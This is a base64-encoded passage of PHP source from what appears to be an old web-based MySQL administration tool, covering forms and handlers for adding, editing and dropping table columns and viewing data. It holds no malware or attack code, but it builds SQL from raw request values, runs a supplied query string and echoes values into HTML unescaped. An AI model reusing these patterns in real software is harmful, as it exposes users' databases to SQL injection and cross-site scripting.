azsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlp Ziggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8 ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJ CQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAk ZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9 Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+ XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFk ZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVs ZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0 IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVj aG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4i OwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+ XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJs ZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10 ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8 L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkg c2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRp Y2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxi cj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3Ro Pjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0 aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg dmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2Vk IjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVy Pk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBu YW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVj aG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9 PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4 IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJ TlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0y MTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5 cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tl ZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1 ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGln bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7 IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4K PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8 dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlw ZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxp Z249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAi ZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0 ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwv dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09 ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0x Mi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+ Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48 aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUg PT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0w MSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90 ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFt ZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVj aG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2 Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUi ICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgz ODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu YnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90 cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJZRUFSIiAnOyBp ZiggJHR5cGUgPT0gInllYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPllFQVIgKDE5MDEgfiAy MTU1LCAwMDAwLCBZWVlZKTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxp bnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJj aGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5P PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFs aWduPWNlbnRlcj5PPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10 eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hl Y2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5i c3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88 L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJ TllURVhUIiAnOyBpZiggJHR5cGUgPT0gInRpbnl0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8g Jz5USU5ZVEVYVCAoMCB+IDI1NSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0 ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9 PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+Cjx0 ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+ Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlw ZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8g ImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl PSJMT05HVEVYVCIgJzsgaWYoICR0eXBlID09ICJsb25ndGV4dCIgKSBlY2hvICJjaGVja2VkIjtl Y2hvICc+TE9OR1RFWFQgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4m bmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0Ii ICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllC TE9CICgwIH4gMjU1KTwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJz cDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1 dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9i IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4KPHRkPiZuYnNw PC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZu YnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVl PSJNRURJVU1CTE9CIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWJsb2IiICkgZWNobyAiY2hlY2tl ZCI7ZWNobyAnPk1FRElVTUJMT0IgKDAgfiAxNjc3NzIxNSk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8 dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3Rk Pgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdC TE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5M T05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90 ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRy Pgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5 cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPgo8dGQgY29sc3Bh bj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxpbnB1 dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIg KSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90ZD4KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZh bHVlIGxpc3Q8L2NlbnRlcj48L3RkPgo8L3RyPgoKPC90YWJsZT4KPHRhYmxlPgo8dHI+PHRoPk08 L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3RoPjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFy eTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2FwcGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5h XCcpIDwvdGg+PC90cj4KPHRyPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6 ZT00IG5hbWU9TSAnOyBpZiggJE0gIT0gIiIgKSBlY2hvICJ2YWx1ZT0kTSI7ZWNobyAnPjwvdGQ+ Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAk RCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48 aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYo IHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAn PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT16ZXJvZmls bCB2YWx1ZT0iWkVST0ZJTEwiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ6ZXJvZmlsbCIg KSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0 eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVlPSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRm aWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBh bGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlm KCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48 L3RkPgo8L3RyPgo8L3RhYmxlPgoKCjxoMz5GbGFnczwvaDM+Cjx0YWJsZT4KPHRyPjx0aD5ub3Qg bnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRo PnByaW1hcnkga2V5PC90aD48L3RyPgo8dHI+Cjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9 Y2hlY2tib3ggbmFtZT1ub3RfbnVsbCB2YWx1ZT0iTk9UIE5VTEwiICc7IGlmKCAkZmllbGRudWxs ICE9ICJZRVMiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+ PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQg IT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4KPHRkIGFsaWdu PWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJB VVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBl Y2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1j aGVja2JveCBuYW1lPXByaW1hcnlfa2V5IHZhbHVlPSJQUklNQVJZIEtFWSIgJzsgaWYoICRmaWVs ZGtleSA9PSAiUFJJIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPgo8L3RyPgo8L3RhYmxl PgoKPHA+JzsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0 IHZhbHVlPSdBZGQgRmllbGQnPlxuIjsKCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkKCQllY2hv ICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VkaXQgRmllbGQnPlxuIjsKCWVjaG8gIjxpbnB1 dCB0eXBlPWJ1dHRvbiB2YWx1ZT1DYW5jZWwgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsK CWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCAp IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRvbGRfbmFtZSwg JG5hbWUsICR0eXBlLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZywKCQkkTSwgJEQsICR1 bnNpZ25lZCwgJHplcm9maWxsLCAkYmluYXJ5LCAkbm90X251bGwsICRkZWZhdWx0X3ZhbHVlLCAk YXV0b19pbmNyZW1lbnQsICRwcmltYXJ5X2tleSwgJHZhbHVlbGlzdDsKCglpZiggJGNtZCA9PSAi YWRkIiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7 CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0 YWJsZW5hbWUgQ0hBTkdFICRvbGRfbmFtZSAkbmFtZSAiOwoKCWlmKCAkTSAhPSAiIiApCgkJaWYo ICREICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkTSwkRCkgIjsKCQllbHNlCgkJCSRx dWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7CgllbHNlIGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgewoJ CSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZWxpc3QgKTsKCQkkcXVlcnlTdHIgLj0g IiR0eXBlKCR2YWx1ZWxpc3QpICI7Cgl9IGVsc2UKCQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7CgoJ JHF1ZXJ5U3RyIC49ICIkdW5zaWduZWQgJHplcm9maWxsICRiaW5hcnkgIjsKCglpZiggJGRlZmF1 bHRfdmFsdWUgIT0gIiIgKQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUn ICI7CgoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsKCglteXNxbF9z ZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVlcnkoICRxdWVyeVN0 ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkvLyBrZXkgY2hh bmdlCgkka2V5Q2hhbmdlID0gZmFsc2U7CgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtF WVMgRlJPTSAkdGFibGVuYW1lIiApOwoJJHByaW1hcnkgPSAiIjsKCXdoaWxlKCAkcm93ID0gbXlz cWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklN QVJZIiApIHsKCQkJaWYoICRyb3dbQ29sdW1uX25hbWVdID09ICRuYW1lICkKCQkJCSRrZXlDaGFu Z2UgPSB0cnVlOwoJCQllbHNlCgkJCQkkcHJpbWFyeSAuPSAiLCAkcm93W0NvbHVtbl9uYW1lXSI7 CgkJfQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgewoJCSRwcmltYXJ5IC49 ICIsICRuYW1lIjsKCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7Cgl9CgkkcHJpbWFyeSA9IHN1 YnN0ciggJHByaW1hcnksIDIgKTsKCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7CgkJJHEgPSAi QUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsKCQlteXNxbF9xdWVyeSgg JHEgKTsKCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsKCQkkZXJyTXNnIC49ICI8YnI+XG4i IC4gbXlzcWxfZXJyb3IoKTsKCQkkcSA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIEFERCBQUklN QVJZIEtFWSggJHByaW1hcnkgKSI7CgkJbXlzcWxfcXVlcnkoICRxICk7CgkJJHF1ZXJ5U3RyIC49 ICI8YnI+XG4iIC4gJHE7CgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7Cgl9 CgoJdmlld1NjaGVtYSgpOwp9CgpmdW5jdGlvbiBkcm9wRmllbGQoKSB7CglnbG9iYWwgJG15c3Fs SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVy eVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9Q IENPTFVNTiAkZmllbGRuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFu ZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNn ID0gbXlzcWxfZXJyb3IoKTsKCgl2aWV3U2NoZW1hKCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAk cXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFi bGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRwYWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7 CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIi ICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5c biI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1 ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIg KSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRl cmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgT1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8g IjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5h bWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBf U0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFt ZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1l LCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7Cgkk dGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkk 